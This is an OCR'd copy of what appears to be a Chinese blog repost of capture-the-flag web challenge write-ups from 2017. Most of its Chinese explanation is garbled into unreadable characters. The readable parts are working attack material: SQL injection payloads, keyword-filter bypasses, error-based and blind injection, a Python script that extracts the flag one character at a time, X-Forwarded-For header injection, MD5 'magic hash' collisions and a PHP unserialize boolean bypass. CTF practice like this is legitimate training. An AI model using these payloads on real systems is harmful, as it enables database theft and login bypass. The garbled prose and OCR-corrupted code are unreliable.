SE B webfif B ic 3¢

weixin 30426879 o F 2017-04-16 16:31:00 KA o 81 ﬁ R
N ERSE: php HHEFE python

JRSCHERE:  hitps//www.cnblogs.com/sherlock 17/p/6707136.html
RRAR

H U AsQREANZEEKIER B RGH, R, BT XEBZEA KN, KTHALTAE, AREMBIK
B ERBEZHEIEILHMW TR

Fx—THG? ?
http://ctf5.shiyanbar.com/web/wonderkun/web/index.html
R T — FRIbIEEE T/ or union select - #

BERand'" = + %EAHILIE, (HH%0M%2IMER, TRIEABRXLZM T LB HKIWAF, BARRSE KK
TREEFxss, HRMAET ...

SR B JE I payload R IX ... BE T, RARERI AR5

hint :

usermame:'="'

password:'='
username password
hellD2w 69bc7cf459bcff03625939193ec7 1ele
wOd3rkun dbb9111e4ed03e2d4021c3c3b0ac8749
mutOr3nl 86846490336911c0f3c6e07cc197d22c

who are you?
http://ctf5.shiyanbar.com/web/wonderkun/index.php

HENIXANTE, RIMBIRE T Eiip, B EEBIKE~£user agentiE N\, Fupdatexmi®—TF, HAEKEE
... B REXABBEAIT

BETAMEXR—EREIPHIE, MHRIRTTEXE:
http://www.cnblogs.com/x2048/articles/1794020.html

BET, EPHHTTPLEA X L.

X-Forwarded-For
Client-IP
X-remote-IP
x-originating-IP
x-remote-addr

—BHAMRZHBMEFH, XERMAX-Forwarded-Forskhi


https://blog.csdn.net/weixin_30426879
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=python&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/sherlock17/p/6707136.html
http://ctf5.shiyanbar.com/web/wonderkun/web/index.html
http://ctf5.shiyanbar.com/web/wonderkun/index.php

Adad Lookie uname=UBLbmIVDIBZLVUXIY 3 gMaxncmY LcrY b.Ld).. china

Add  X-Forwarded-For ' select database() and 1=1 china

your ip is ' select database() and 1=1 ‘

HERTE, NEWERRHAER, MEREZRE, FT THAKwittupKI, hE)E G EETERE
RIXFER, B RIRREBHTTP-X-Forwarded-For, XHti#tfT #7648, RBBUESHTHRNA, REEHEEH
MBI, BEEAZIBIERE, ENZECAXNEAGREAEE, IR B8R ERREU L E, UMM
B R AR IRBUE B R AR—ANMT T, R B DU R AN B AW, R4 LB S AR B &

X B AR T T LA =
1. ENEEMAR

XA R PR AL

= finizhed with exit code C

ormation_|

SRk gl

TR, BAVEE T flagiritfEflagRKflagFfF B, HKEN32, BT REZBEMTT




2. Fburpi#fTH} B EiE
3. Hsqlmapi#iThttpk & VE

Wia, BEERKEBHRESEREMECHooGE.  PILHRE, HHRlag— BRI, &BEKIIERES
JElib e i AN

Bt LT B et
http://ctf5.shiyanbar.com/web/pcat/index.php
BEEM TR, KIEG VR £ source.txt

<form action="" method="post”><br/>{input name="uname” type="text”/><br/><{input name="pwd” type="text”/><br/>{imput type="submit” /><{br/></form><br/></-—source: source. txt——>}br/>

TREZFLWT


http://ctf5.shiyanbar.com/web/pcat/index.php

1 <?php

2 error_reporting(0);

3

4 if (lisset($_POST['uname']) || !isset($_POST['pwd'])) {
5 echo '<form action="" method="post">"'."<br/>";

6 echo '<input name="uname" type="text"/>'."<br/>";
7 echo '<input name="pwd" type="text"/>'."<br/>";

8 echo '<input type="submit" />'."<br/>";

9 echo '</form>'."<br/>";
10 echo '<!--source: source.txt-->'."<br/>";
11 die;
12 }
13
14 function AttackFilter($StrKey,$Strvalue,$ArrReq){
15 if (is_array($Strvalue)){
16 $StrValue=implode($StrVvalue);
17 }
18 if (preg_match("/".$ArrReq."/is",$Strvalue)==1){
19 print "PINECEREIEZDEEES";
20 exit();
21 }
22 %}
23
24 $filter = "and|select|from|where|union|join|sleep|benchmark|, |\(|\)";
25 foreach($_POST as $key=>$value){
26 AttackFilter($key,$value,$filter);
27 '}
28

29 $con = mysqgl_connect ("XXXXXX", "XXXXXX", "XXXXXX");

30 if (!$con){

31 die('Could not connect: ' . mysql_error());

32 }

33 $db="XXXXXX";

34 mysql_select_db($db, $con);

35 $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
36 $query = mysql_query($sql);

37 if (mysql_num_rows($query) == 1) {

38 $key = mysql_fetch_array($query);
39 if($key['pwd'] == $_POST['pwd']) {
40 print "CTF{XXXXXX}";

41 Yelse{

42 print "R-EEIEHEO";

43 }

44 Yelse{

45 print "JBEIEWRMEEEM";

46 }

47 mysql_close($con);

48 ?>

IR A AT BLANIE X S e #E 38 T . and|select|from|where|union|join|sleep|benchmark],|\(]\)
I BB e R — %8R

if (mysql _num_rows($query) == 1) {

RAZ LR X B



$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
KRB PAT R R ek F P\ KunamelE s B W4, EHIEE S E#Hunamefipwd, AEHE B K
pwd 5 F P\ FpwdBE T HLE:, WA — B it flag

XERBEEZ, FHgroup by pwd with rollup?e 2 # 5 i — AN A, Al AT LUR Bl pwd BT I BB — 4%, i
I limitis iR I — %, BEU AT DUREIZ %, —HREI2Z KL, pwdite Rz, (HE—&SF 4 i H il
FE R IEHE K

MAFHZX—HLERERAT, BRI AKpwdt AT E, W T if(null==null) #true

Post data uname="or 1=1 group by pwd with rollup limit 1 offset 2 #&pwd=

CTH{with_rollup_interesting}

R sgiEAZ =
http://ctf5.shiyanbar.com/web/index_3.php

B, R—AHoetlh XS HIdMER, TRFLEA—E, KWBG SRR, M EERFREEIE
W, IdFE1~SHIVEE # AT LUIE# Bl B Hello!”, B{REREZE, ZRAZEIEHE, WLAEREERE, BXHMREHT

WIE, BBITIBAT FERB...
HRRKAFIANTE

http://ctfS.shiyanbar.com/web/index_3.php?id=1" order by 1|——+

[7] Enable Post data | Enable Referrer

flag
HRdiEr A
=3rER

Hello!
http://ctfS.shiyanbar.com/web/index_3.php?id=1" order by 2--+
[7] Enable Post data [] Enable Referrer

flag
HRiE A4 ?
E3rEn

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\AlbnH3a\ctf\web\index_3.php on line 30
Unknown column '2" in "order clause’

2T, WHARERH TR, 24 Munionidid


http://ctf5.shiyanbar.com/web/index_3.php

http://ctfS.shiyanbar.com/web/index_3.php/?id=-" union select concat(0x7e database(),0x7e)--+

[”] Enable Past data [ | Enable Referrer

flag
HEdiE T A

E3rEig
Hello!

BABENEREE, Rak, HBRZXANHelloARMBKIME, NMiZ2RSERREIANEE, HiTsqlif
A, MRFEEARSER, WasiftiHello, EAHHER
WMRRRZENE, MARBARBEEEATF T, S XWEAN

http://ctf5.shiyanbar.com/web/index_3.php/?id=-" unicn select count(*),concat(0x7e databasel(),0x7e floor(rand()*2))a from information_schema.tables group by a--+

[] Enable Post data [| Enable Referrer

flag
HRZE A
S
Don't!
TR, i T AL ? AR ixpath k48
http://ctfS.shiyanbar.com/web/index_3.php?id=-1" or updatexml(1,concat(0x7e, (select database()), 0x7e),1)--+
[7] Enable Post data [ | Enable Referrer
flag
FEdiE A
RS
Don't!

ERAAT.HFE, REXFHEBEE T, BREEEER



http://ctfS.shiyanbar.com/web/index_3.php/?id=1" and ascii(substr(database(),1,1))<0--+

[”] Enable Past data [ | Enable Referrer

flag
IEdiErHa
1ErEinl
http://ctf5.shiyanbar.com/web/findex_3.php/?id=1" and ascii{substr(database(),1,1))=0--+
["] Enakble Post data [ | Enable Referrer
flag
JRgE T A
f23rEiE
Hello!

MRYE b R A FGR B, ATH BLS — A bool B i B i AR IR EIE B, 87T LU burpdi 2
KB, EACEMIECNER T, Frila UEZERFRL M T B



1 # coding:utf-8

import requests

import string

string = string.digits+string.ascii_lowercase
flag = [1]

FLAG = False

def POC(x,1):
url = "http://ctf5.shiyanbar.com/web/index_3.php?id="
poc = "l'and+ascii(substr((select+flag+from+flag)%%2C%d%%2C1))%%3D%d%%23" % (x, 1)
res = requests.get(url+poc)
#print('testing url:' + url + poc) # test...
if res.headers['Content-Length'] == '471":
return 1

O 00 N O U1 b W N

R R R R R R
A WN RO

else:

=
o))

return 0

=
~N

for x in range(1, 35):
for i in range(32, 129): # asciifgm WFfF32-127
if POC(x, 1):
flag.append(chr(i)) # chr()¥BHE NP fasciifibERF
break
elif i == 128: # HiZfiflagA ILE K FRFE B B
FLAG = True
if FLAG:
25 break
26 # TR ERER T AR
27 get_flag = "'
28 for i in flag:
29 get flag += 1
30 print get_flag

N NN NN BER B
A W N RFP O O

View Code
XERSET FTHAAFWER, HPHREERNLXE:

poc = "1'and+ascii(substr((select+flag+from+flag)%%2C%d%%2C1))%%3D%d%%23" % (x, i)

xf& IEFE L ECHIflagit) F AP AL B, IR IXAS TR AT REXS BLHasciifd B4, %% Pythondll %5 71 %t H
1, FOAREZEMAKICHINER, WMATREANE, PR A RERT B, BRIXHE:

http://ctfS.shiyanbar.com/web/index_3.php?id=1" and(select count(*) from flag)=0 #

[7] Enable Post data [ | Enable Referrer

flag

HRdETHA?

Hello!

WHEREIEY, WHFElagR, HFRFERTTERT RIElagk BAFEflag7 B
EHIXEPOCH, Kk Ui & 753K [ 1E % 2 H X A -



if res.headers['Content-Length'] == '471':
return 1

else:
return ©

FoAZBEASER (lag P M8 LMD , TEGELIRE K ZHello! A MHE B R SCKERE—ER, &K
AITAT LodE i 2 AR B R EF R OCKE

http://ctf5.shiyanbar.com/web/index_3.php?id=1%22%20and%20ascii{substr{select320database(), 1,1))36 3E0%

GET jweb/index_3.php?id=1%22%20and%20ascii{substr(select?20database(),1,1))%3E0 HTTF/1.1

Host: ctf5.shiyanbar.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0

Accept: text/html application/xhtml+xml application/xml;g=0.9,*/*:q=0.8

MAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: Hm_lvt_34d5f7353ab0915a4c582e4516dffbc3=1493711264: Hm_lpvt_34d6f7353ab0915a4c582e4516dffbc3...
Connection: keep-alive

Upgrade-Insecure-Requests: 1

HTTF/1.1 200 OK

Date: Tue, 02 May 2017 08:47:27 GMT

Server: Apache/2.4.18 (Win32) OpenS5L/1.0.2e PHP/5.2.17

X-Powered-By: PHP/5.2.17 I/\\s
Content-Length: 471

XEMKERA71, Pl Content-Length% F47 18R [E1, F R EO

BATER:

(PyeharmProjects/untitled/SQ0L_injection/flag py

ez finished with exit code O

AR sqiEAZ =
http://ctf5.shiyanbar.com/web/index_2.php
BHAERRG 5.

httpi//ctfS shiyanbar.com/web/index_2.phplid=1'#

[7] Enable Post data  ["] Enable Referrer

flag
RSB T AR ?

| have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1°77

at line 1

MRYE L EREE, WTULANEIX BRG] SERATE, M mElsqliEa, 48ssX MKk, MidET
T, 4R, T UAH%20, %0a, /**/, [*I*/, [*150000*/, +, ()V&i#k, HF%20, +MO)HELET, =
BB BRERA AT UG, T AR PR RCE M AR R g, TRMEMT:


http://ctf5.shiyanbar.com/web/index_2.php

http://ctfS.shiyanbar.com/web/index_2.php/?id="/"*funion/**/select/**/flag/™* /from/**{flag#

[T] Enable Post data  [C] Enable Referrer

flag
BIREiE T H A% ?

REEE

ou have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the right syntax to use near '’’’ at line 1

XEBRAXEERETRAMTT T, Fhackbarfii A4 RABEEM AR EEAH... L1 2 Fhackbarf 45
R, THEEEERA:

http://ctfS.shiyanbar.com/web/index_2.php/?id="/**funion/**/select/** fflag/**/fro mj"*/ﬂagi‘d

[] Enable Post data [ | Enable Referrer

flag
FREiE 7T A% ?
)

ID: ’ /*®¥/union/**/select/¥k/flag/**/from/**/Fflagh
name: flag{YO0u @r3 50 dAmn 900d}

RRMIX 2 GBMEag T, HRNEEAM - MERRXRORE. MEREME, WRENMEN22EH,
HEEERR

TH, Mt Afaghl b BRI, AN T 0. JF & R A%, BCTFBMBliTix
HEF]

i B sqliE A
http://ctf5.shiyanbar.com/423/web/
BHARERZRRT 5.

httpi//ctf5.shiyanbar.com/423/web/?id=1'%

[7] Enable Post data  [7] Enable Referrer

flag
BT AL ?

=3%EiE

u have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "’ 1’’’ at line 1

BABSE, REEHRBHEEHE, andiidiE T EEFork A #idIE:


http://ctf5.shiyanbar.com/423/web/

http://ctf5.shiyanbar.com/423/web/?id=1" or "="#

["] Enable Post data [| Enable Referrer

flag
FRidiE 7 H A% ?
#xEd

ID: 1’ or ’=
name: baloteli

ID: 1" or ’=

name: kanawaluo

ID: 1" or ' =
name: dengdeng

THZRBELEE, KWiiSIETIELZ 8. and, select, from, union, where, iXH gt 4=
RIER . REFZFREIN AR, e, RFHEm%obkElr, xBFES (RBFRRT) , KD
5RESEE, 2GS, EEEER, SEflagiiRe MEB LR R :

http://ctfS.shiyanbar.com/423 fweb/?id="or(/*Iselect*/count(*)/*from*/flag)= 0/*land*/" ="

[7] Enable Post data [ Enable Referrer

flag
il 7 A% ?

EESH

ID: ’ or(/*!select*/count (*¥) /*! from¥/flag) >0/*!and*/"’
name: baloteli

ID: ’ or(/*!select*/count (*¥) /*! from¥/flag) >0/*!and*/"’
name: kanawaluo

ID: ’or(/*!select*/count (¥) /*! from¥/flag) >0/%!and*/’’ =
name: dengdeng

W Eflag®, MEARMEREER T, WURLEHXANTERIE, THERMEZERlagT

flag
FlidiE A% ?

ExEl

ID: * /*!union*/ /*!select*/ flag /*!from*/ flag /*!where¥/ '’ =
name: flag{YOu @r3 50 dAmn 900d}

EFEEZEMZATNT AR, FEREBIINZEEIEENERRARRA, FrilEERE a2 aH
H

ps:iX Bk — Mt i R4 R~ B ALK TT



flag
HREdiE 7 H A% ?

ErEin

ID: ’ or /*! exists*/ (/*!select*/ * /*!frowm*/ flag) /*!and®/ '’ =
name: baloteli

ID: > or /*! exists¥/ (/*!select*/ * /*!from¥/ flag) /*'and¥/ ’’=
name: kanawaluo

ID: ’ or /*! exists*/ (/*!select*/ * /*!frowm*/ flag) /*!and®/ '’ =
name: dengdeng

R T R Th ME R A
http://ctf5.shiyanbar.com/web/10/10.php

BB REE R IRAMLE IR

There is no martial art is indefectible, while the fastest speed is the only way for long success. </br>>>>>>> You must do it as fast as you can!——<LLLKLLK S br>

!— please post what vou find with parameter key —>

FpostlIZHAE XK, HEEFHRCIE

http://ctf5.shiyanbar.com/web/10/10.php

GET fweb/10/10.php HTTP/1.1

Host: ctfS.shiyanbar.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWS4; n:53.0) Gecko/20100101 Firefox/53.0

Accept: text/html,application/xhtml +xml applicationfxml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8, en-US;q=0.5,en;q=0.3

Accept-Enceding: gzip, deflate

Cookie: Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1493711264; Hm_lpvt_34d6f7353ab0915a4c582e4516d1...
Connection: keep-alive

Upgrade-Insecure-Requests: 1

HTTE/1.1 200 QK

Date: Tue, 02 May 2017 11:36:17 GMT

Server: Apachef2.4.18 (Win32) OpenS5L/1.0.2e PHP/5.2.17
X-Powered-By: PHP/5.2.17

FLAG: UDBTVFIUSEITX1QwXONINESHRVAGTDRHOkhyZDUOc 1 pUA==
Content-Length: 216

RIT —AFLAGS 32 Flbaseb44w L i, #3522 : POST_THIS_TO CH4NGE_FLAG:Hrd54sRiP,
RE T JLREIR: FERERFREILE, BEAMIRRK IR Epostit X S4ikey, BB S pyHAHIEE
Kk, MAWT:

BE


http://ctf5.shiyanbar.com/web/10/10.php

import requests
import base64

url = "http://ctf5.shiyanbar.com/web/10/10.php"’

s = requests.session()

response = s.get(url)

head = response.headers

flag = base64.b64decode(head[ 'FLAG']).split(':")[1]
data = {'key': flag}

result = s.post(url=url, data=data)

O 00 N O U1 b W N P

(I
R ®

print result.text

View Code
REIPAT I FEB R IREUR L FFLAGF BN 2, Hbaseb4fi#iy, AE1E NkeyIEMEpostiER, &/
TENE RN N2, Biflag, BITERWT:

I \Fython27 ' \python. exe D /PycharmProjects/untitled/SQL_injection/Fost_lkey. py

CTF{Y0U_4R3_iNCR3D1EL3_F4ST!}

Process finished with exit code O

HIXIEBRAERBHRZ, fHESZAT U Hsession, $iBLHE ARG 6 %A HsessiondE il Ui, BiZ%2i@id
PRI SE BRI R P X 4, BT —AN/DMUR: 24 3RELE] — A key{E J& #4i% postid 3K & K [ FE i B 8] 2 3s

SQL_injection/Post_ley py

e, while the fastest speed is the only way for long success. </br

e, while the fastest speed iz the only way for long

BTG S BRIERIZRAXFER: K imgetiERiZhhl, REGuRIENERESBENLAER— AN FZR/FE, M
HJEVERIREIR X HIFLAGF B, Blbaseb4in# keyfd, FE, FEESBMEMKZEFANEEE, XBESH
—ANBF AR, HEid3sa N IE EE R MRS, 355 B AE 3s N Sk B key 1 Kb VE S Bipostia, JE & SN HUHE E
HECH BEATILES, LA DI <3k flag, (HR2, MEEEE B B R ZS PR H P E4 AREFEAR (F
— AP LMBESEZ R IgetiE KD , FIAX BEHIEER I —ef —NMpEBRi&E5l, BEiEREENpS
Xof AR BB BENL - RF SR RN R, 24 7 post)E £ AR$E 1% A P ipREUY B Z /75, 5 post )4 & L
Bc, X, BinrLLAHsessionsk#E v T

BF—BRUUKE, {55 B[ HsessionkijiH: hitp://web.sniperoj.cn:10003/
HAERIMBEE:


http://web.sniperoj.cn:10003/

Date: Wed, 03 May 2017 03:25:05 GMT

Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-1ubuntud.20

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Hint: Post decode([Get-flag]) as [SniperC]] as fast as you can, then your will get flag
Get-flag: RWNEMO:zTidwvWkptVFY2VA==

Wary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 125

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

A AE B EA —hintfiget_flag7 B, =B K get_flaght# 5 1E AsinperOJiI{E, #R3Tpostid K3k
BUREIKINZ, fget flaght® s W RFENFA/FH, B, bl EHARERE —ANHERARRE, b5 K E R
HIRLR24/N0F, FriA, BT CAHENIRL %2 F T sessionskizdl i, FRELMZATHNER—F, 5—MHAXR
M, EZETREES— T

HE
1 # coding:utf-8
2 import requests
3 import base64
4 import time
5
6 #url = 'http://ctf5.shiyanbar.com/web/10/10.php"’
7 url = "http://web.sniperoj.cn:10003/"'
8 s = requests.session() # 3KHL—/ session¥f%
9 response = s.get(url) # Dlifsessionfvjial, T4

10 head = response.headers # FREUWIR 3k

11 flag = base64.b64decode(head['Get-flag'])#.split(':"')[1] # FKEUIRCKFLAGHI %
12 print flag

13 data = {'Sniper0]' : flag} # Mitposti&R

14 result = s.post(url=url, data=data) # Ki%postiFi

15 print result.text # ITENNIRINZ

View Code
BITER:

xe D /PycharmProjects/untitled _injection/Fo

MY

Wow, prefect! Here is the flag : SniperOJ{faster_faster_ fast

55 finished with exit code O

ikt x£
http://ctf5.shiyanbar.com/web/kzhan.php
X8R S DR A, IV JE & Blcookie B — AN AT B i1 2 $source=0


http://ctf5.shiyanbar.com/web/kzhan.php

http://ctfS.shiyanbar.com/web/kzhan.php

GET jweb/kzhan.php HTTE/1.1

Host: ctfS.shiyanbar.com

User-Agent: Mozilla/3.0 (Windows NT 6.1; WOWG64; n:53.0) Gecko/20100101 Firefox/53.0

Accept: text/html,application/xhtml +xml application/xml.q=0.9,%/*:q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US:q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http:/fwww.shiyanbar.com/ctf/1848

Cookie: sample-hash=571580b26c565f306376d4f64e53cb5cT; source=0; Hm_lvt_34d6f7353ab0915a4c582e4516...
Connection: keep-alive

Upgrade-Insecure-Requests: 1

ZilisourceU /G, HUBRIERS T, BTUAUictf LS IMETHEERN... THR2IRY:



1 <html>

2 <body>

3

4 <pre>

5 $flag = "XXXXXXXXXXXXXXXXXXXXXXX" 5

6 $secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
7

8 $username = $_POST["username"];

9 $password = $_POST["password"];

10

11 if (lempty($_COOKIE["getmein"])) {

12 if (urldecode($username) === "admin" && urldecode($password) != "admin") {
13 if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
14 echo "Congratulations! You are a registered user.\n";

15 die ("The flag is ". $flag);

16 }

17 else {

18 die ("Your cookies don't match up! STOP HACKING THIS SITE.");

19 }

20 }

21 else {

22 die ("You are not an admin! LEAVE.");

23 }

24 }

25

26 setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
27

28 if (empty($_COOKIE["source"])) {

29 setcookie("source"”, 0, time() + (60 * 60 * 24 * 7));

30 }

31 else {

32 if ($_COOKIE["source"] != @) {

33 echo ""; // This source code is outputted here

34 }

35}

36 </pre>

37 <h1>Admins Only!</h1>

38 <p>If you have the correct credentials, log in below. If not, please LEAVE.</p>
39 <form method="POST">

40 Username: <input type="text" name="username"> <br>

41 Password: <input type="password" name="password"> <br>

42 <button type="submit">Submit</button>

43 </form>

44

45 </body>

46 </html>
View Code

R — TR, BEMEERSZIN, & #RUHMZcookied KIS Hgetmein N AZERS, £ AL urldm
15 H1Z$usernamefpassword, REWRFERILE SR & —1NSHsecrethf R — N7/ H, REM—md5
n#, R Mcookied S HgetmeinEHE, MkEtiflag, {HA & cookieH & H XA SHgetmein, W2
WEERMN B SE, EL7 LURYEcookieH F1E 1S Hisample-hash, A IR E# 1T, sample-hash
f—Amd5lE, fEISi%EE R IRTSE & secret, A5 B v] DARIE X AMEME EFHIIMISE T, HEmdSmE
REATEN, ERERE—RTERHBRNIBME, BIBEERAWRRT, HisecretH 156, XEEHZEIN
— A EHR R Rhash K EY BEE, XBEE —RBCERLEX IR K
#: http://www.freebuf.com/articles/web/69264.html


http://www.freebuf.com/articles/web/69264.html

BRI, HXEBERIZE, Fid

BB A

http://ctf5.shiyanbar.com/10/indirection/

RE—Res TG, KREBUSHER ZRMKIRD, BRERWEIERKr, SREE:

HE
1 <?php
2 // code by SEC@USTC
3
4 echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>";
5
6 $URL = $_SERVER['REQUEST URI'];
7 //echo 'URL: '.$URL.'<br/>";
8 $flag = "CTF{???}";
9
10 $code = str_replace($flag, 'CTF{???}', file get contents('./index.php'));
11 $stop = 0;
12

13 //XEEHASWERENER
14 //%—, BATTLIME /indirection/a/../ /indirection/./ &&x—3KH
15 //Ftbh, E—ANERREABHIA ./

16 if($flag && strpos($URL, './') !== FALSE){
17 $flag = "";

18 $stop = 1; //Pass

19 }

20

21 //%=, BATATUME \ SRCEHEIIEE /
22 //FU, BIAZERMESBHR ../

23 if($flag && strpos($URL, '\\') !== FALSE){
24 $flag = "";

25 $stop = 2; //Pass

26 }

27

28 //B=, AMREXR/NEEA, Hla indirectioN/

29 //RWMAT AR P FIHE SR FRARE, XFEL R

30 //FrL, BEAERSFUHKFERFM T RS, a-z / .

31 $matches = array();

32 preg_match('/~([@-9a-z\/.]+)$/', $URL, $matches);

33 if($flag && empty($matches) || $matches[1] != $URL){

34 $flag = "";

35 $stop = 3; //Pass
36 }

37

38 //%M, A / WAL
39 //FTLh, SBIUANERENBHI //

40 if($flag && strpos($URL, '//') !== FALSE){
41 $flag = "";

42 $stop = 4; //Pass

43 }

44

45 //%H, BRI Eindex.phpEiE i index. php#RsE AT LAK)

46 //FT AT — AR MDA /index. php, FHLALERE
47 if($flag && substr($URL, -10) !== '/index.php'){
48 $flag = "";

49 $ston = 5: //Not Pass


http://ctf5.shiyanbar.com/10/indirection/

50
51
52

/1875, BAVEELEindex . php/STHIN. 27 LY

53 //FTABAIZE bp /B XA S
54 if($flag & strpos($URL, 'p.') !== FALSE){
55 $flag = "";
56 $stop = 6; //Not Pass
57 }
58
59 //%t, BAERBRERIRZ
60 //HRIISURLILZIE /indirection/index.php B FiARRE
61 if($flag && $URL == '/indirection/index.php'){
62 $flag = "";
63 $stop = 7; //Not Pass
64 }
65 if(!$stop) $stop = 8;
66
67 echo 'Flag: '.$flag;
68 echo '<hr />';
69 for($i = 1; $i < $stop; $i++)
70 $code = str_replace('//Pass '.$i, '//Pass', $code);
71 for(; $i < 8; $i++)
72 $code = str_replace('//Pass '.$i, '//Not Pass', $code);
73
74
75 echo highlight string($code, TRUE);
76
77 echo '</body></html>";
View Code

TRARYE X L B R B Ja #3E R Burl 40 F -

@ Load URL  http://ctfSshiyanbar.com/10/indirection/index.php/index.php
% split URL
r/  Execute

[7] Enable Post data [_| Enable Referrer

Flag: CTFH{PSEDUO_STATIC_DO_YOU_KNOW}

<?php
code SECEUSTC

REFERR, WRUrRIZAER, HAEIR [B] 1EH T -

4= Load URL  htipy//ctfSshiyanbar.com/10/indirection/index.php
% split URL
'l Execute

[7] Enable Post data [ | Enable Referrer

Flag: CTF{PSEDUO_STATIC_DO_YOU_KNOW}

<?php

FESE LR ZR P AR A BRI AR R, AN, X TEREA SERRAE T AN i A R %

BUMZ A



http://ctf5.shiyanbar.com/10/an.php

REEREEREERZLMRART, WEREEET, INFRIAFTENFRY, EREZLHENR
unicode% i &#23433;&#22899;&#31070;

ERXBEE U, 2l EAERSEHHE BN s Hcookied 2 T, A LA E 5 i 3 — 2 i %528 i cookie,
RIGEWEN Furl, EEJRGEMfag

Load URL  view-source:httpy//ctfS.shiyanbar.com/10/an.php?name=&#23433:8#22899;8:#31070;
split URL
Execute

[] Enable Post data  [] Enable Referrer

<html>
<head>
<{meta charset="ghk">
<title>MfiEiE</title>
</head>
<{body bgcolor="white"></—we hide it here! flag: CIF{lnlc0de4l5}—<center><h1>###EIE</h1></center>
<hr>
<center>MiZH 6223433 8222899 8231070, 1 FIEERLSD FRFAETFHAA! <br/><br/ >3 BEFT ! flag = [[415 Unavailable For Legal Reasons]]<br/>
{/center>
</body>
</html>

Forms
http://ctf5.shiyanbar.com/10/main.php

MNTRRKBOLBEH LY T, —RIUEFEREBLEARHNERN, BARRELEGRE, B2ERE
FROBEART, XEERLERMGE, THZFRRMARMNE S SERIIRLZ KK

<form action="" method="post">
PIN:<bx>
<{input type="paszword name="PIN" wvalue="">
<{input type="hidden” name="zhowsource” value=0>
<{button type="submit” >Enter<{/button>

</form:

</body>

</html>

A VB RIEELPE MR ER, &5 Rshowsource, value0, HUKBEBZHICLBITT, Atz
ARERZENEE, RFEMRINEXEKvaluetitfk1, BIa]3REIRED:
$a = $_POST["PIN"I;
if ($a = —19827747736161128312837161661727773716166T27272616149001823847) {
echo “"Congratulations! The flag is $flag”:

b oelse {
echo "User with provided PIN not found.”;

User with provided PIN not found.

PIN:

ZJEHIBE R T, BEEREFEMpostiE, SRWT:


http://ctf5.shiyanbar.com/10/an.php
http://ctf5.shiyanbar.com/10/main.php

Post data PIN=-19827747736161128312837161661727773716166727272616149001823347

Congratulations! The flag is ctf{forms_are_easy}

PIN:
Enter

RKRMEE RS
http://ctf5.shiyanbar.com/10/web1/
XIE L R E VR :

{tr>

<td> P& </ td><td><input type="text” name="username” value="admin”></td>
<t

<trr

<td>EERY: </ tdr><td><input type="text” name="password” value="admin”></td>
<t

<trr

<td><input type="submit” value="8SAZRHK"</td>

<t

</table>

</form>

{!— Stest=85 GET[ username’]; Stest=md5($test); if($test=="0") —>

</body>

EREEEEDA —IMER, JteARusernamefEE&mdsSing 5% 10, MaREIFEERT, 235 lagEl

EREEERT, PHPSIERBELRE (WEERFNERESE) BRBELE, == BE/FHREL 2
—. T == BEFNHNZRFEFITRELEE, PHPSIERE{ER ZR/F B ANBUE>ITHR, RS
BRFZHH, MREZFEPE-NFRUAFHZF A FZ R RROELRE. thin: '3' == '3ascasd'4;
2 oNtrue.

WHEEEIXBwriteup:http://www.cnblogs.com/ssooking/p/5877086.html

Bt R ER B — AR NEEE —NEFR0RT, Bkl Ee+HF, XERHLA:
240610708, aabg7XSs, aabC9RgS, s878926199a. QNKCDZ

FEERMERTA N5,
FAP45:  s87892619%a
=g admin

/user.php?fame=hjkleffifer

REBARBE| -8, LFHRAEGERERET -

& Lload URL  httpy//ctfSshiyanbar.com/10/webl/user.php?fame=hjkleffifer

4 splitURL +
) Execute

Enable Post data Enable Referrer
$unserialize_str = $_POST['password']; $data_unserialize = unserialize($unserialize_str); if($data_unserialize['user'] == '77?' && $data_unserialize['pass']=="?7?") { print_r($flag); } AR RphpA =& : Mthf
R, MR, MEEEF


http://ctf5.shiyanbar.com/10/web1/
http://www.cnblogs.com/ssooking/p/5877086.html

JEAG b LB B — A B Funserialize(), X & — AN AphpFE5IALA % 1) & % :

serialize() X\ FIEE AT 7 51405
unserialize() kB R T &, ERDEFFULKITR.

M RBRER, HEWRIKpasswordZ T ok R g, Huserfpass#fESET 5 & KHEAME,
R iREI—AMlag, EXERBAFAMTEEHXHEMERT 4, TRXEEZMHZEphplt§5KEL
T, boolZK B ftrueFRAE B F A7 AR AT DL R AARSE, HIRATRT L4 EboolR BY i 7 51 AL HidE . a:2:
{s:4:"user";b:1;s:4:"pass";b: 1; X A i i1 B B password e — M A2 EA (a¥e$idl, sigFfrstring, HF
REKE) , i—mELuser, KEN4, boolfi N1, B—A & Rpass, KEN4, boolfEi A1 (bigbool
B , TRETELERWT:

|¥ | Clauie FusL ddia Clhamwe nerenren

Post data Content-Disposition: form-data; name="password"

a2z "userbilis:d:"pass™; b1}
e -31775226792825 -

AMEERS

Ze5{FEE
MF:admin ZB:admin
